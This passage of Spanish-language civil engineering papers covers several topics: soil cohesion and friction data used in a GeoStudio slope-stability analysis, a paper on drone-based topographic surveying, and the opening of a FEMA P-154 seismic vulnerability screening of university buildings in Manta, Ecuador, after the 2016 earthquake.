Cohesión del suelo en Kpa	PERFORACIÓN 1	PERFORACIÓN 2	PERFORACIÓN 3
	35,92	60,6	47,89
	20,95	102,17	75,26
	61,58	140,49	61,58
	68,42	134,10	68,42
	75,26	127,71	61,58
	108,56	172,41	82,10

Angulo de fricción interna del suelo Ø	PERFORACIÓN 1	PERFORACIÓN 2	PERFORACIÓN 3
	20,00	23,00	19,50
	19,00	18,00	18,50
	18,00	18,00	16,50
	17,00	26,00	17,50
	27,00	19,00	26,00
	22,00	17,00	25,00

RESUMEN DE DATOS

PERFORACIÓN 1			
PROFUNDIDAD	COHESIÓN PROMEDIO	DENSIDAD DEL SUELO PROMEDIO	ANGULO DEL SUELO PROMEDIO
0.55 – 1.00	46,72	18,35	18,50
1.55 – 2.00			
2.55 – 3.00			
3.55 – 4.00			
4.55 – 5.00	75,26	19,72	27,00
5.55 – 6.00	108,56	20,6	22,00
PERFORACIÓN 2			
PROFUNDIDAD	COHESIÓN PROMEDIO	DENSIDAD DEL SUELO PROMEDIO	ANGULO DEL SUELO PROMEDIO
0.55 – 1.00	109,34	20,43	21,25
1.55 – 2.00			
2.55 – 3.00			
3.55 – 4.00			
4.55 – 5.00	127,71	20,9	19,00
5.55 – 6.00	172,41	21,68	17,00
PERFORACIÓN 3			
PROFUNDIDAD	COHESIÓN PROMEDIO	DENSIDAD DEL SUELO PROMEDIO	ANGULO DEL SUELO PROMEDIO
0.55 – 1.00	63,29	19,35	18,00
1.55 – 2.00			
2.55 – 3.00			
3.55 – 4.00			
4.55 – 5.00	61,58	19,33	26,00
5.55 – 6.00	82,1	19,91	25,00

RESULTADO FINAL

PROFUNDIDAD	COHESIÓN PROMEDIO	DENSIDAD DEL SUELO PROMEDIO	ANGULO DEL SUELO PROMEDIO
0.55 – 1.00	73,12	19,38	19,25
1.55 – 2.00			
2.55 – 3.00			
3.55 – 4.00			
4.55 – 5.00	88,18	19,98	24,00
5.55 – 6.00	121,02	20,73	21,33

APLICACIÓN DEL PROGRAMA GEOSTUDIO

Para la modelación, análisis matemático y comprobación del factor de seguridad se aplicó el programa GeoStudio 2012 que utiliza el método de equilibrio límite para satisfacer las fuerzas y momentos de equilibrio- método ordinario.

PERFIL DE TALUDES

Para definir los puntos de contorno de perfil se mide con respecto a la base inferior izquierda del talud y se obtiene coordenadas en X y Y para cada punto de acuerdo al cambio de estrato y perfil del talud.

TALUD 15	
Distancia	altitud
0	279,14
5	280,69
10	282,24
15	283,87
20	286,22
25	288,77
30	291,7
35	294,64
40	297,57
45	300,5
50	300,5

+

TALUD 16	
Distancia	altitud
0	282
5	282,43
10	283,05
15	284,76
20	287,16
25	289,65
30	292,13
35	294,58
40	296,8
45	298,14
50	299,57
55	301,01
60	302,44
65	302,44

PUNTOS X, Y: ☐

PUNTOS	X	Y	PUNTOS	X	Y	PUNTOS	X	Y	PUNTOS	X	Y
1	0	26.36	6	43	26.36	1	0	25.44	6	48	25.44
2	0	27.36	7	55	10	2	0	26.44	7	70	10
3	0	31.36	8	65	10	3	0	30.44	8	80	10
4	10	31.36	9	65	0	4	10	30.44	9	80	0
5	39	27.36	10	0	0	5	47	26.44	10	0	0

EJECUCIÓN DE CÁLCULO

Se considera que un talud está a punto de falla cuando el factor de seguridad es igual a 1 un talud tiene fuerza de reserva cuando $FS > 1$, pero para considerar que no tiene problemas de estabilidad el NEC establece que el $FS \geq 1.5$. En general, la probabilidad de falla disminuye a medida que aumenta el factor de seguridad.

Condición	FS corte Mínimo	
	Diseño	Construcción
Carga muerta + carga viva nominal	1.5	1.25
Carga muerta + carga viva máxima	1.25	1.1
Carga muerta + carga viva nominal + sismo de diseño Pseudo estático	1.1	1.00
Taludes- condición estática y agua subterránea normal	1.5	1.25
Taludes – condición pseudo estática con agua subterránea normal y coeficiente sísmico de diseño	1.05	1.00

Análisis: El talud 15 presenta un factor de seguridad de 3.1, es decir que cumple con lo establecido por el NEC que debe ser mayor a 1.5 determinando que no hay problemas de estabilización en este caso y el talud en el estado natural que se encuentra es estable.

Análisis: El talud 16 presenta un factor de seguridad de 3.72, es decir que cumple con lo establecido por el NEC que debe ser mayor a 1.5 determinando que no hay problemas de estabilización en este caso y el talud en el estado natural que se encuentra es estable.

CONCLUSIONES.

- Existen métodos muy fáciles de interpretar resultados, que permiten valorar las características de los suelos, uno de los más utilizados es el ensayo de penetración estándar (SPT), el cual utilizando correlaciones relacionando al número de golpes para una penetración determinada y sacando muestras alteradas se pueden determinar valores muy aproximados del comportamiento del suelo.
- Con el método de cálculo (Fellenius u Ordinario) y la herramienta computacional GeoStudio 2012 para el estudio y análisis de taludes, se pudo determinar los factores de seguridad para cada uno de los 16 casos estudiados cumpliendo con lo que establece el NEC 2014 con valor mínimo de FS de 1.5.
- Los valores obtenidos a través de las correlaciones son cálculos usados a nivel nacional e internacional para el análisis de taludes, muchas de estas correlaciones son de origen teórico, otras son producto de investigaciones experimentales que dan parámetros semejantes a la realidad en las propiedades mecánicas de los suelos.

RECOMENDACIONES

- Identificar el área de estudio, longitud, dirección, presencia de cuerpos de agua cercano, ya que estos factores serán determinantes para la modelación en el programa GeoStudio ya que de esta forma se logrará un mejor comportamiento de los taludes y laderas.
- Cuando el factor de seguridad es bajo, se recomienda rediseñar el talud ya que de esta forma se evitarán posibles colapsos.
- Realizar los ensayos adecuados para determinar las propiedades del suelo, ya que por correlación es un valor aproximado pero útil para el análisis de un talud.

REFERENCIAS BIBLIOGRÁFICAS

ASTM D1586. (2011). Asociación Americana de Ensayo de Materiales. West Conshohocken: ASTM International. Recuperado el 04 de ENERO de 2017, de http://www.cicpec.com/documentos/NEC_2015/NEC_SE_GC_Geotecnia_y_Cimentaciones.pdf

Briones Alva, M. E. (2015). Zonificación mediante el sistema unificado de clasificación de suelos (SUCS) y la capacidad portante del suelo, para viviendas unifamiliares en la expansión urbana del anexo Lucmacucho Alto-Sector Lu. Recuperado el 2 de JUNIO de 2017, de <http://hdl.handle.net/11537/6679>

INEN 0689. (1982). Ensayo de penetración estándar. Quito. Recuperado el 20 de enero de 2017, de <https://law.resource.org/pub/ec/ibr/ec.nte.0689.1982.pdf>

INEN, 691-692. (1982). Mecánica de suelo. Determinación del límite plástico. Obtenido de <https://es.scribd.com/document/338225783/NTE692-LIMITE-PLASTICOpdf>

NEC. (2015). Guía práctica para la ejecución de estudios geotécnicos y trabajos de cimentación de conformidad con la Norma Ecuatoriana de la Construcción. Obtenido de <http://www.habitatyvivienda.gob.ec/wpcontent/uploads/downloads/2016/10/GUIA-6-GEOTECNICA.pdf>

TOPOGRAFÍA CON DRONES

Ing. Peralta Delgado Jaime Adrián

Macias Andrade Denis Marylin

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

La topografía con UAV es de importancia para la ejecución de trabajos de topografía ya que nos permite llegar a muchos lugares que, con la topografía convencional no se lo podía realizar, se debe de recalcar que la topografía convencional no se ve desplazada por la utilización de estas nuevas técnicas topográficas ya que la topografía con UAV también tiene sus limitaciones.

El presente trabajo pretende mostrar el proceso de un levantamiento con UVA tomando en consideración que los conocimientos de topografía básica no se dejan de lado, sino que son de mucha utilidad, llegando a la obtención de información (puntos topográficos con coordenadas) que permite la modelación de una determinada franja topográfica como la igualdad de un levantamiento convencional en un menor tiempo aplicando los posts procesos necesarios en los softwares de utilidad.

Palabras Claves: topografía, UAV, puntos con coordenadas

ABSTRACT

The topography with UAV is important for the execution of topography works since it allows us to reach many places that, with the conventional topography could not be done, it should be emphasized that the conventional topography is not displaced by the use of these new topographical techniques since the topography with UAV also has its limitations.

The present work tries to show the process of an UVA survey taking into account that the knowledge of basic topography is not left aside, but they are very useful, reaching the obtaining of information (topographic points with coordinates) that allows the modeling of a certain topographic strip as the equality of a conventional survey in a shorter time applying the necessary post processes in the software of utility.

Keywords: topography, UAV, points with coordinates

INTRODUCCIÓN

La topografía aplicada a obras civiles tradicionalmente ha representado la solución cuando por exigencias de precisión y detalle se requieren planos en escalas mayores a 1:2000, por lo que se puede definir la topografía como la ciencia que determina las dimensiones y el contorno (o características tridimensionales) de la superficie de la Tierra a través de la medición de distancias, direcciones y elevaciones.

Por lo que se puede definir que la topografía en general es una aplicación de la geometría y, por tanto, sin el conocimiento de esta no se podría llegar a obtener la forma de la superficie terrestre; siendo los datos tomados en campo por el topógrafo con los equipos topográficos sobre el terreno y por medio de elementales procedimientos matemáticos, que se calculan distancias, ángulo, direcciones, coordenadas, elevaciones, áreas o volúmenes, según las necesidades que se presenten.

Este proceso se lo puede realizar de igual manera con los UAV (Unmanned Aerial Vehicle), los cuales a través de un post proceso genera mediciones de terrenos, fotografía ortográfica, relieve, creación de mosaicos, orto rectificados y georreferenciados, además de nubes de puntos, modelos en 3D que permiten el cálculo de curvas de nivel, medición de áreas y volúmenes etc.

Convirtiendo a la topografía con UAV (Unmanned Aerial Vehicle) en un avance eficaz y eficiente para todo proyecto de ingeniería.

Como es de conocimiento general el uso de la estación total permite realizar mediciones precisas, pero las jornadas de labores son extensas en dependencia de las solicitudes requeridas y del proyecto para la cual se la va emplear, siendo en ciertas ocasiones de peligro para las personas que manipulan estos equipo, esto conlleva a un problema ya que la necesidad de los datos obtenidos a partir de un levantamiento topográfico es de relevancia para su constitución, y ejecución de proyectos por lo que es de exigencia la obtención de datos en el menor tiempo posible y que estos datos sean de confianza.

La elaboración de estudios, trazados de caminos, cálculos volumétricos, definición de curvas de nivel en zonas con difícil acceso, así como obtener una base de datos topográficos que cumplan con las exigencias de cada proyecto se facilita con la integración de nuevas tecnologías, como el uso de vehículos aéreos no tripulados o drones para aplicar técnicas fotogramétricas.

Topografía convencional

Es la ejecución de los diferentes procesos geométricos y matemáticos que permiten calcular distancia vertical, distancias horizontales, ángulos de inclinación, alturas, cotas, coordenadas que son necesarias para la representación de la forma de la superficie de la tierra. Los equipos convencionales para la ejecución de esta forma son estación total, prismas y porta prismas, GPS (global posicional satelital), puntos para cambios, clavos, machete; y el material humano como topógrafo, ayudante de topografía, cadeneros y jornaleros.

En este proceso de topografía se realiza una planificación con una visita de campo donde se tomarán las coordenadas del lugar de levantamiento, y se verificará las condiciones (si hay montes, arboles etc.) de acceso y movilidad en el área o extensión que se necesiten según el proyecto, para proceder la cantidad de cuadrillas necesarias para el levantamiento.

Luego de este trabajo de campo se procede a la obtención del producto final a través de la obtención de la planimetría y altimetría.

Planimetría. - La planimetría es aquella rama de la Topografía que se ocupa de la representación de la superficie terrestre sobre un plano. Así es que la misma centra su estudio en el conjunto de métodos y procedimientos que tenderán a conseguir la representación a escala de todos aquellos detalles interesantes del terreno en cuestión sobre una superficie plana, exceptuando su relieve y representándose en una proyección horizontal.

Entonces, la planimetría, proyecta sobre el plano horizontal los elementos de la poligonal como puntos, líneas rectas, diagonales, curvas, superficies, contornos, cuerpos, etc., sin considerar la diferencia de elevación.

En tanto, las medidas de distancias horizontales se podrán determinar a partir de diversos instrumentos y procedimientos y la elección de los mismos dependerá exclusivamente de los objetivos que se persigan, las longitudes que haya por medir, las condiciones del terreno y los instrumentos que se disponen.

Altimetría. - a altimetría o hipsometría, como también se la denomina, es la rama de la topografía que se ocupa de estudiar el conjunto de procedimientos y de métodos que existen para poder determinar y representar la altura o cota de cada punto respecto de un plano de referencia. Por ejemplo, gracias a la altimetría es posible representar el relieve del terreno, tal es el caso de planos de curvas de nivel, perfiles, entre otros.

La nivelación es una operación fundamental para el ingeniero, tanto para poder confeccionar un proyecto, como para lograr replantear el mismo. Las aplicaciones más comunes de la nivelación son, en proyectos de carreteras y canales que deban tener pendientes determinadas, situar obras de construcción de acuerdo con elevaciones planeadas, calcular volúmenes de terracería, Investigar características de drenaje y escurrimiento de superficies, establecer puntos de control mediante el corrimiento de una cota.

Topografía con UAV

Estableciendo que el UAV es un vehículo aéreo no tripulado, es una aeronave que vuela sin tripulación humana a bordo. Y que son utilizados en consultoría de obras civiles para obtener una mayor cobertura de las superficies terrestres, minimizando los costos y tomando información del terreno en zonas a las que el hombre no puede acceder con facilidad, por lo que se considera al dron un equipo de navegación autónomo que posee características técnicas particulares para realizar trabajos de todo tipo a diferentes alturas de vuelo (desde 1 m hasta 500m) en vuelos totalmente automáticos o programados y controlados de modo remoto o de forma manual mediante un mando de radiocontrol.

TIPOS DE UAV

Son variados los tipos de UAV por lo que se establece que se encuentran varios criterios de clasificación por lo que según Camila Yara Doamo en el 2017, muestra una clasificación que a continuación se establece:

Realizando una subdivisión de los UAV de ala fija que cuentan con dos alas que van acopladas al cuerpo del instrumento, y están dotados con una hélice trasera. El aspecto es más similar al de los aviones convencionales.

Así mismo los UAV multirrotores están formados por varios brazos, los cuales están dotados de motores. Éstos son los que hacen posible la sustentación del instrumento. Hay varios tipos de multirrotores, y se nombran según el número de brazos que tengan siendo la clasificación la siguiente:

Principales ventajas de la topografía con UVA

1. El principal factor es la Seguridad, el topógrafo no necesita transportar la estación a lugares potencialmente peligrosos, con lo que los riesgos de la existente en esta profesión se minimizan.
2. Permite obtener una mayor base de conocimiento del lugar y sus alrededores, ya que se llega a espacios inaccesibles para una persona como acantilados, claros rodeados de árboles etc.
3. Captura un mayor número de puntos para crear las planimetrías. El levantamiento topográfico de un dron, debido a sus cámaras de última generación aporta mucha más información gráfica que un levantamiento tradicional. Por otra parte, la información es mucho más completa en cuanto a color de las fotografías, lo que consigue una mayor resolución y realismo del terreno.
4. Reducción de costes, un estudio topográfico que hace años podía suponer importantes costes a una empresa, gracias a esta tecnología se han reducido hasta en un 70%.

Proceso de obtención de fotogrametría con UAV

La fotogrametría con UAV, es una técnica que nos permite conocer las propiedades geométricas de una superficie a partir de las fotos obtenidas producto del sobrevuelo realizado.

Para la obtención de estas fotos el piloto del UAV debe de obtener la cantidad de fotos necesarias que permitan la reconstrucción de una determinada área, es decir que las fotos anteriores y posteriores deben de contar con igualdad de imágenes que permitan el solapamiento entre imágenes.

Este solapamiento entre las imágenes se la obtiene con una planificación de del vuelo que permita de manera ordenada, a una velocidad constante y a una altura de vuelo contante, que permita obtener las imágenes necesarias. Es importante tener en cuenta que el solape debe de estar entre el 60% y 90%.

Una vez obtenidas las imágenes es necesario utilizar un software de fotogrametría que las procese y que sea capaz de “inferir” la posición XYZ de millones de puntos. Estos millones de puntos servirán para generar las reconstrucciones 3D en forma de polígonos, nubes de puntos, o bien, ortofotos. Por lo que, el software se encarga de buscar correspondencias entre imágenes, determina cuales son las posiciones probables en base a los diferentes puntos de vista de un mismo elemento, y finalmente las limita a una sola. A este proceso se le denomina stitching.

Una vez obtenidos los datos relevantes de los millones de puntos de las fotografías se los transfiere a un programa de topografía que permita la obtención o tal vez diseños en una franja topográfica necesaria.

MATERIALES Y MÉTODOS

Para el levantamiento topográfico con UAV se realizó bajo el método experimental, ya que permitió el manejo de las variables y utilizando materiales como un software para el proceso de imágenes, un GPS RTK, DRON phamton 4 pro, y diferentes herramientas menores de post proceso.

RESULTADOS Y DISCUSIÓN

Como resultados se obtuvo en un tiempo corto la ortofoto y los puntos con coordenadas y cotas para poder ser procesador en algún software de diseño topográfico.

CONCLUSIONES.

La topografía con UAV depende del área a intervenir para tener una consideración de rapidez

Demanda de la utilización de un software que permita en su proceso obtener los datos relevantes a utilizarlas en cualquier programa de topografía que se encuentre.

Con la obtención de los millones de puntos (con coordenadas x, y, z) se puede obtener diseños en una franja topográfica.

REFERENCIAS BIBLIOGRÁFICAS

Quirós Rosado, Elia (2014). Introducción a la Fotogrametría y Cartografía aplicadas a la Ingeniería civil. España: Universidad de Extremadura

Claros Zelaya Rene, Guevara Aguilar Alex, Pacas Cruz Nelson (2016). Aplicación de fotogrametría Aérea en Levantamiento Topográfico Mediante el uso de Vehículos Aéreos no tripulados. El Salvador: Universidad De El Salvador.

I Definicion ABC <https://www.definicionabc.com/ciencia/altimetria.php>

I Definicion ABC <https://www.definicionabc.com/general/planimetria.php>

EVALUACIÓN DE LA VULNERABILIDAD SÍSMICA DE EDIFICIOS DE HORMIGÓN ARMADO DE LA UNIVERSIDAD LAICA ELOY ALFARO DE MANABÍ MEDIANTE LA APLICACIÓN DE FEMA P-154

Yuri Mauricio Rodríguez Andrade

Cristhian Andrés Romero García

Irvin David Tuárez Calle

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

yuri.rodriguez@uleam.edu.ec

cristhianromero19@outlook.com

irvindavid4@hotmail.com

RESUMEN

El terremoto del 16 de abril de 2016, con magnitud 7.8 grados en la escala Richter, con epicentro en Pedernales, Ecuador, provocó pérdidas de vidas humanas y daños materiales en varias poblaciones de las provincias de Manabí y Esmeraldas, entre ellas Manta.

La Universidad Laica Eloy Alfaro de Manabí, ULEAM, tiene su matriz en la ciudad de Manta y debido a que el sismo ocurrió en un instante en el que sus edificios estaban desocupados no hubo pérdida de vidas humanas, pero sí hubo colapso de paredes y algunos daños severos y moderados en sus elementos de hormigón armado. Las consecuencias del sismo nos hicieron pensar que existe la necesidad de realizar estudios de vulnerabilidad sísmica de los edificios que no fueron demolidos.

En esta investigación se evaluaron seis edificios de hormigón armado de la ULEAM mediante la aplicación de FEMA P-154, que consiste en una metodología de evaluación visual rápida para determinar si estos son potencialmente peligrosos desde el punto de vista sísmico. Aquellos edificios que resultaren potencialmente peligrosos deberán ser evaluados por profesionales expertos en diseños sismo resistentes para finalmente determinar si efectivamente son potencialmente peligrosos.

Luego de aplicar el FEMA P-154 se determinó que los seis edificios evaluados obtuvieron puntajes menores a 2, lo cual indica que podrían ser potencialmente peligrosos y que necesitarán ser evaluados con más detalle mediante análisis estructurales lineales y no lineales para corroborar su vulnerabilidad sísmica y la necesidad de diseños de reforzamientos para que logren un buen desempeño sísmico ante terremotos futuros.

Palabras claves: Vulnerabilidad sísmica, evaluación visual rápida, estructuras de hormigón armado.

ABSTRACT

The earthquake of April 16, 2016, with magnitude 7.8 on the Richter scale, with epicenter in Pedernales, Ecuador, caused loss of human life and material damage in several towns in the provinces of Manabí and Esmeraldas, including Manta.

The Eloy Alfaro de Manabí Lay University, ULEAM, has its headquarters in the city of Manta and because the earthquake occurred in an instant when its buildings were unoccupied there was no loss of human life, but there were collapsed walls and some severe and moderate damage to its reinforced concrete elements. The consequences of the earthquake made us think that there is a need to conduct seismic vulnerability studies on buildings that were not demolished.

In this research, six ULEAM reinforced concrete buildings were evaluated through the application of FEMA P-154, which consists of a rapid visual evaluation methodology to determine if these are potentially dangerous from a seismic point of view. Those buildings that are potentially dangerous should be evaluated by professionals who are experts in earthquake resistant designs to finally determine if they are potentially dangerous.

After applying the FEMA P-154 it was determined that the six buildings evaluated scored less than 2, which indicates that they could be potentially dangerous and that they will need to be evaluated in more detail by means of linear and non-linear structural analyzes to corroborate their seismic vulnerability and the need for reinforcement designs to achieve a good seismic performance in the face of future earthquakes.

Keywords: Seismic vulnerability, rapid visual evaluation, reinforced concrete structures

INTRODUCCIÓN

Sismo del 16 de abril de 2016 y la vulnerabilidad sísmica

“El sismo del sábado 16 de abril a las 18h58 (tiempo local), de magnitud 7.8 (Mw magnitud momento), cuyo hipocentro se ubicó frente a Pedernales (Manabí), a 20 km de profundidad, fue resultado del desplazamiento entre dos placas tectónicas: la placa de Nazca (placa oceánica) que se sumerge bajo la Sudamericana (placa continental). A este proceso se le conoce como subducción, y es el mismo fenómeno que originó los sismos del 31 enero 1906 (Mw 8.8), que es el más grande registrado en Ecuador y el sexto más grande a escala mundial; el del 14 mayo 1942 (Mw 7.8); 19 enero de 1958 (Mw 7.8) y del 12 diciembre de 1979 (Mw 8.1).

Los datos indican que la mayoría de las réplicas son superficiales (< 20 km en profundidad), se han registrado 9 réplicas con magnitudes mayores o iguales a 6 (Mw) que fueron sentidas en varias ciudades del país.” En la Figura se observa el epicentro del sismo y su área de influencia.”

El sismo del 16 de abril de 2016 afectó a varias ciudades de las provincias de Manabí y Esmeraldas de Ecuador. Una de estas ciudades afectadas fue Manta, ubicada en la costa del Océano Pacífico, pertenece a Manabí y es un puerto marítimo y pesquero con una población

The map displays the epicenter of the M7.8 earthquake at 0.382°N, 79.922°W, located in the northern part of Ecuador. Aftershocks are shown as orange dots of varying sizes, with a concentration along the western coast and in the northern highlands. Major cities such as Quito, Guayaquil, Cuenca, and Loja are marked. The Equator is shown as a dashed line, and the Gulf of Guayaquil is labeled. A scale bar in the bottom left corner indicates distances of 100 km and 50 miles. A 'Close Map' button is visible in the bottom right corner.

LOCALIDAD	INTENSIDAD SÍSMICA	CATEGORÍA
San José de Chamanga y Pedernales	IX	Sismo destructivo
Bahía de Caráquez, Jama y Canoa, centro de Manta y Portoviejo	VIII	Daños severos
Esmeraldas, Santa Elena, Guayas, Los Ríos y parte de Santo Domingo de los Tsáchilas	V	Daños leves
Provincias de la Sierra	IV	No se observan daños de manera general

LOCALIDAD	INTENSIDAD SÍSMICA	CATEGORÍA
San José de Chamanga y Pedernales	IX	Sismo destructivo
Bahía de Caráquez, Jama y Canoa, centro de Manta y Portoviejo	VIII	Daños severos
Esmeraldas, Santa Elena, Guayas, Los Ríos y parte de Santo Domingo de los Tsáchilas	V	Daños leves
Provincias de la Sierra	IV	No se observan daños de manera general

La peligrosidad sísmica que tiene Manta es alta y la vulnerabilidad de sus edificaciones se reflejó por la cantidad de daños ocurridos durante el sismo del 16 de abril de 2016. Varias podrían ser las causas que provocan vulnerabilidad, entre ellas tenemos mala concepción del diseño estructural, mala calidad de los materiales, sistema constructivo inadecuado, mano de obra no calificada, falta de control técnico, edificios construidos con normas antiguas, etc. Cualesquiera que sean las causas, lo más recomendable es realizar un estudio de vulnerabilidad sísmica para que se diseñen los respectivos reforzamientos a la estructura, en el caso de que se necesiten.

En la provincia de Manabí aún se permiten las malas prácticas constructivas, ya que los Municipios no controlan la calidad con la que se construyen las edificaciones y lamentablemente muchas personas no contratan a un profesional de ingeniería o arquitectura para que ejecute la obra, sino que se conforman con el asesoramiento de un maestro de obras de albañilería, los cuales en ocasiones ni siquiera cuentan con el respectivo título profesional que avale su trabajo.

La ocurrencia de los fenómenos sísmicos es inevitable debido a su naturaleza, lo que requiere mejoras que optimicen el comportamiento sísmico resistente de las estructuras nuevas y el refuerzo de las existentes, de tal forma que se reduzcan las pérdidas producidas por los terremotos en el momento que ocurren. De aquí la necesidad apremiante de los estudios de vulnerabilidad y riesgo sísmico, a fin de realizar una gestión integral del riesgo.

Como muestras de los edificios de hormigón armado de Manta, se tomarán los edificios de la matriz de la Universidad Laica Eloy Alfaro de Manabí.

La Universidad Laica Eloy Alfaro de Manabí, su vulnerabilidad y riesgos sísmicos

La Universidad Laica Eloy Alfaro de Manabí, ULEAM, posee una matriz en la ciudad de Manta y cuatro extensiones en las ciudades de Chone, Bahía de Caráquez, El Carmen y Pedernales, todas ellas ubicadas en la provincia de Manabí, Ecuador. En la Tabla observamos datos actualizados de cantidades de facultades, carreras, docentes y estudiantes, por lo cual está catalogada como una de las instituciones de educación superior más grandes del país.

UNIVERSIDAD LAICA ELOY ALFARO DE MANABÍ

Ciudades Cantidades	Matriz	Extensiones				
	Manta	Chone	Bahía	El Carmen	Pedernales	Total
Facultades	20	1	1	1	1	24
Carreras	55	7	6	6	4	78
Docentes	1068	71	37	83	20	1279
Estudiantes	14779	891	440	1423	220	17753

La ULEAM tuvo daños severos y moderados en varias de sus estructuras, las cuales fueron derrocadas, considerando solamente las recomendaciones de evaluaciones rápidas realizadas por el Ministerio de Desarrollo Urbano y Vivienda, MIDUVI. Algunas imágenes de las estructuras afectadas tanto interiormente como exteriormente, se muestran en la figura.

Como se evidencia en las imágenes de la Figura 3, existe vulnerabilidad sísmica en estas edificaciones, lo cual implica un riesgo muy alto para la vida humana. Afortunadamente no hubo pérdida de vidas humanas dentro de la ULEAM, porque el sismo ocurrió un sábado a las 18:58 horas, momento en el que no había presencia de estudiantes, docentes, ni personal administrativo dentro de sus edificaciones.

Las estructuras que aún se mantienen en pie no cuentan con un estudio de vulnerabilidad, pues no se sabe exactamente si sus capacidades estructurales son las suficientes para enfrentar un nuevo evento sísmico de igual o mayor magnitud que el ya soportado.

Debido a esta incertidumbre, estas estructuras necesitan ser evaluadas con la finalidad de conocer si son potencialmente peligrosas desde el punto de vista sísmico.

Aplicación de metodologías de evaluación de vulnerabilidad sísmica

Es necesario definir en esta sección tres conceptos que se emplearán en el problema a investigar: peligrosidad, vulnerabilidad y riesgo sísmico.

La peligrosidad sísmica representa la probabilidad de ocurrencia, dentro de un período específico de tiempo y dentro de un área dada, de un movimiento sísmico del terreno de un nivel de severidad determinado. Datos sobre la peligrosidad se encuentran en las normativas de diseño sísmico en forma de terremotos de diseño.

La vulnerabilidad sísmica se define como la predisposición intrínseca de una estructura, grupo de estructuras o de una zona urbana completa de sufrir daño ante la ocurrencia de un movimiento sísmico de una severidad determinada. La vulnerabilidad está directamente relacionada con las características de diseño de la estructura.

El riesgo sísmico, es decir, las consecuencias de un terremoto, se obtiene mediante la convolución entre la peligrosidad, la vulnerabilidad correspondiente a cada nivel de severidad considerado para el sismo. Dichas consecuencias pueden ser de tipo físico, económico, financiero, indemnización, social, humano, etc.

La ocurrencia de los fenómenos sísmicos es inevitable debido a su naturaleza, lo que requiere mejoras que optimicen el comportamiento sismo resistente de las estructuras nuevas y el refuerzo de las existentes, de tal forma que se reduzcan las pérdidas producidas por los terremotos en el momento que ocurren. De aquí la necesidad apremiante de los estudios de vulnerabilidad y riesgo sísmico, a fin de realizar una gestión integral del riesgo.

Para la investigación a realizar se evaluarán seis estructuras de la matriz de la ULEAM mediante la aplicación de la metodología que se propone en FEMA P-154. Se debe realizar un procedimiento de detección visual rápida que consiste en llenar un formulario que arroja un puntaje mediante el cual se logra determinar si las estructuras evaluadas son potencialmente peligrosas desde el punto de vista sísmico.

El objetivo de esta investigación es evaluar la vulnerabilidad sísmica de los edificios de hormigón armado de la ULEAM de Manta, aplicando la metodología de FEMA P-154 para realizar una evaluación visual rápida, con la finalidad de determinar si son potencialmente peligrosos desde el punto de vista sísmico para que sean sometidos seleccionar aquellos que necesitan una evaluación de vulnerabilidad calculada.

MATERIALES Y MÉTODOS

Clasificación de los estudios de vulnerabilidad sísmica

En su forma más general se pueden citar dos tipos de estudios de vulnerabilidad:

1. Vulnerabilidad observada, cuando se la realiza mediante una inspección visual rápida, lo cual es muy útil para valorar el estado de muchas edificaciones en poco tiempo, antes o después de un terremoto. Este tipo de estudio es el punto de partida para determinar si se necesita o no la

realización de un estudio de vulnerabilidad más profundo y detallado. Se basa en métodos subjetivos o cualitativos.

2. Vulnerabilidad calculada, generalmente se la hace después de haber realizado una inspección visual rápida, en la cual se determina si se necesita profundizar en el estudio. Para ello se realiza un modelo estructural y ensayos experimentales pertinentes. Este tipo de estudio requiere de mayores esfuerzos y dedicación de tiempo, por cuanto requieren de análisis más detallados y refinados; generalmente se emplean para la evaluación de estructuras individuales que realmente lo necesitan. Se basa en métodos analíticos.

Esta investigación aborda lo concerniente a la vulnerabilidad observada. Entre los diversos enfoques simplificados de evaluación de vulnerabilidad sísmica observada que podrían citarse se pueden mencionar: Método de puntuación P25, propuesto por Barbat A.H., "Detección visual rápida de edificios para posibles riesgos sísmicos" presentado por ATC-21 y las metodologías propuestas por GNDT II, Cardona O.D. y por Carreño M.L.

Para esta investigación se utilizará la metodología de la FEDERAL EMERGENCY MANAGEMENT AGENCY, FEMA P-154, tercera edición, 2015, presentado por ATC-21, por lo que se detallará de aquí en adelante lo que nos indica este documento denominado "Rapid Visual Screening of Buildings for Potential Seismic Hazards" o "Detección visual rápida de edificios para posibles riesgos sísmicos".

El procedimiento de detección visual rápida (RVS) se ha desarrollado para identificar, inventariar y detectar edificios potencialmente peligrosos desde el punto de vista sísmico. Una vez identificados como potencialmente peligrosos, dichos edificios deberían ser evaluados por un profesional del diseño con experiencia en diseño sísmico para determinar si, de hecho, son sísmicamente peligrosos. El procedimiento RVS utiliza una metodología basada en una encuesta de acera de un edificio y un Formulario de recolección de datos, que la persona que realiza la encuesta completa, basándose en la observación visual del edificio desde el exterior y, si es posible, en el interior. El formulario de recopilación de datos de dos páginas (que se muestra en las Figuras 4 y 5) incluye espacio para documentar información de identificación del edificio, incluido su uso y tamaño, una fotografía del edificio, bocetos y documentación de datos pertinentes relacionados con el desempeño sísmico. En base a los datos recopilados durante la encuesta, se calcula una puntuación que proporciona una proyección del desempeño sísmico esperado del edificio.

Según lo que indica FEMA P-154, el formulario 1 pretende recopilar información del sistema estructural primario sismo resistente y de los materiales estructurales con que fue construida la edificación. En el formulario se muestran los puntajes básicos para varios tipos de construcción. Existen modificadores de puntuación los cuales están relacionados con los atributos de desempeño observados y luego se suman o se restan al puntaje básico para llegar a un puntaje final. Para complementar el formulario 1 y obtener una evaluación más detallada se llena el formulario 2, que es opcional, con la finalidad de ajustar la puntuación final con los modificadores de puntuación adicionales. Las puntuaciones finales suelen oscilar entre 0 y 7, con puntuaciones más altas que corresponden a un mejor desempeño sísmico esperado y más bajas que corresponden a un potencial colapso.

El uso de RVS en toda la comunidad permite a la Autoridad RVS para dividir los edificios seleccionados en dos categorías: aquellos que se espera que tengan un desempeño sísmico

aceptable, y aquellos que pueden ser sísmicamente peligrosos y deben estudiarse más a fondo. Se sugiere una puntuación final de 2 como "punto de corte", según los criterios actuales de diseño sísmico. Usando este nivel de corte, los edificios con puntaje final de 2 o menos deben ser investigados por un profesional del diseño con experiencia en diseño sísmico. El método ha sido utilizado por muchas personas y jurisdicciones diferentes en los Estados Unidos por más de 25 años.

Exploración rápida visual de los edificios para los posibles riesgos sísmicos FEMA P-154 Formulario de Recolección de Datos															Nivel 1 ALTA Sismicidad																																																																																																																																																																																																			
